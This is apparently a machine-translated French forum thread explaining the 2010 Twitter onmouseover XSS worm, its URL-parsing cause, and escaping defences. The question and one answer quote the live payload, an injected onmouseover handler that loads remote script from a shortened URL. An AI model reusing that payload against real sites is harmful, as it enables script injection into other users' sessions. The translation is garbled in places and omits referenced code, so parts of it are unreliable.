Aujourd'hui XSS onmouseover exploiter sur twitter.com
Pouvez-vous expliquer ce qui s'est exactement passé sur Twitter aujourd'hui? Fondamentalement, l'exploit était à l'origine des gens pour publier un tweet contenant ce lien:
http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/
Est-ce techniquement une attaque XSS ou autre chose?
Voici comment la page d'accueil Twitter ressemblait: http://www.flickr.com/photos/travelist/6832853140/
- C'est une attaque XSS Voir twitter.com/safety/status/25118959058
- OK, mais j'aimerais voir une meilleure explication. Comment ça fonctionne? Que pouvons-nous faire pour éviter ce genre de vulnérabilité dans le code que nous écrivons?
- Voir aussi blog.twitter.com/2010/09/all-about-onmouseover-incident.html
Vous devez vous connecter pour publier un commentaire.
La vulnérabilité est parce que les URLs n'ont pas été analysée correctement. Par exemple, l'URL suivante est affiché sur Twitter:
Twitter traite de ce que l'URL. Quand il est analysé Twitter encapsule un lien autour de ce code, le code HTML ressemble maintenant à:
Vous pouvez voir qu'en mettant dans l'URL et le slash de fin, Twitter pense qu'il a une URL valide, même si elle contient un guillemet en lui qui lui permet de s'échapper (ie. mettre fin à la
href
attribut, pour les pédants, y) l'URL de l'attribut et comprend un dessus de la souris. Vous pouvez écrire quelque chose sur la page, y compris la fermeture de la liaison et y compris un élément de script. Aussi, vous n'êtes pas limité par la limite des 140 caractères, car vous pouvez utiliser$.getScript()
.Cette s'engager, si elle avait été tirée, ce qui aurait empêché cette vulnérabilité XSS.
Dans le détail, la délinquance regex était:
La
@[^\/]+\/
partie a permis à n'importe quel caractère (sauf une barre oblique) quand il a été précédé par un signe @ et suffixé par une barre oblique.En changeant de
@#{REGEXEN[:valid_general_url_path_chars]}+\/
maintenant permet uniquement l'URL valide caractères.&'
, ce n'est pas la création d'un littéral de caractère apostrophe et la traduction littérale donne un aspect distinct dans mon esprit. Bien qu'il soit de la création d'une "interprétation" d'un personnage. Jamais le moins, je pense que c'postes libellé actuel est de plus en plus clair.Oui c'est XSS, c'est l'attaque d'un gestionnaire d'événement javascript. Ce qui est cool à propos de ce XSS, c'est qu'il ne nécessite pas de
<>
à exploiter. La chaîne injectée est:size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"
.La
size::999999999999px
fait qu'il est très grand et il y a de plus likly que quelqu'un de la souris dessus. Le vrai problème est leonmouseover=
gestionnaire d'événement.Pour empêcher cela en PHP, vous devez convertir les guillemets dans leurs entités html:
$var=htmlspecialchars($var,ENT_QUOTES);
C'est parce que le HTML vous ne pouvez pas échapper les guillemets comme sql:
\'
\'
, de sorte que vous ne pouvez pas utiliseraddslashes()
. Au lieu de cela, vous devez convertir les guillemets dans leurs entités html. J'ai mis à jour ma réponse.'"
et voir si elle convertit.ENT_QUOTES
ne sont pas nécessaires pour cet exemple particulier, car"
est échappé parhtmlspecialchars()
par défaut. Il n'est que le seul caractère de devis'
qui n'a pas échappé sansENT_QUOTES
. Les guillemets simples sont utilisés pour l'attribut délimiteurs beaucoup moins souvent que le double, mais c'est toujours une bonne idée de toujours utiliserENT_QUOTES
pour la sécurité.L'exploit était un morceau classique de Javascript injection. Supposons que vous écrivez un tweet avec le texte suivant:
Lorsque vous affichez le Twitter de la page web, qui devient un lien, comme ceci:
L'exploit attaqua le lien de la prise de fonction. Le texte brut de l'exploitation tweet serait de lire quelque chose comme ceci:
Twitter qui ne protègent pas correctement, probablement parce que le @" combinaison de caractères ont rompu leurs [HTML] analyseur. Ce lien permettrait de générer la page suivante source:
Cela signifie que le contenu exécutable (le onMouseOver="trucs" bit) a terminé dans le code source d'une page. Ne sachant pas mieux, le navigateur exécute ce code. Parce qu'il est exécuté dans le navigateur de l'utilisateur, il peut faire tout ce que l'utilisateur n'; la plupart des variations utilisé ce pouvoir de re-publier le contenu, c'est pourquoi il se propage comme un virus. Pour inciter l'utilisateur à activer le code par l'utilisation de la souris de plus, ils ont également la mise en forme du bloc noir-sur-noir à l'aide du CSS [Feuilles de Style en Cascade, qui détermine la mise en page]. D'autres versions ont été piratés par les utilisateurs disposent de toutes sortes d'autres effets, tels que le porno des redirections vers le site, arc-en-ciel de texte dans leurs tweets, et ainsi de suite. Certains d'entre eux ont sauté boîtes de dialogue conçus pour inquiéter les utilisateurs, de parler de comptes désactivés ou des mots de passe volés (ils ne l'étaient pas, dans les deux cas).
Twitter fixe ce pas par le blocage de la chaîne onMouseOver (dont certains un peu simplet blogs demandaient), mais par une bonne désinfection de l'entrée. Les " marques dans ces tweets sont maintenant transformés en " – le HTML échappé à la forme.
Techniquement, c'est un second ordre d'attaque par injection; l'attaque de la chaîne est insérée dans la base de données et traitées correctement, mais ensuite, l'attaque se déroule de la chaîne est de lire, de retour à la place. Ce n'est pas que le complexe d'une attaque à tous les soit - plutôt embarrassant pour Twitter qu'ils ont été pris de court par cette.
Source: Le Twitter hack: comment il a commencé et comment il fonctionne
C'est un XSS exploiter. Comme Twitter admis dans leur mise à jour. Vous pouvez empêcher les attaques que jamais permettant aux utilisateurs de publier du code javascript. Vous devriez toujours filtrer. Plus d'informations sur la façon d'éviter les attaques de type XSS peut être trouvé ici: http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
De Wikipedia: "Cross-site scripting (XSS) est un type de faille de sécurité généralement trouvés dans les applications web qui permet à des attaquants d'injecter un script côté client dans les pages web consultées par les autres utilisateurs."
L'attaque d'aujourd'hui s'inscrit le projet de loi pour moi.
La base il y avait une sorte d'erreur d'analyse avec Twitter.com afficher le code. Quand ils ont converti les Url pour les liens hypertexte HTML, ils n'étaient pas de la manipulation @ correctement les caractères qui cause des événements javascript à insérer dans le code HTML du lien.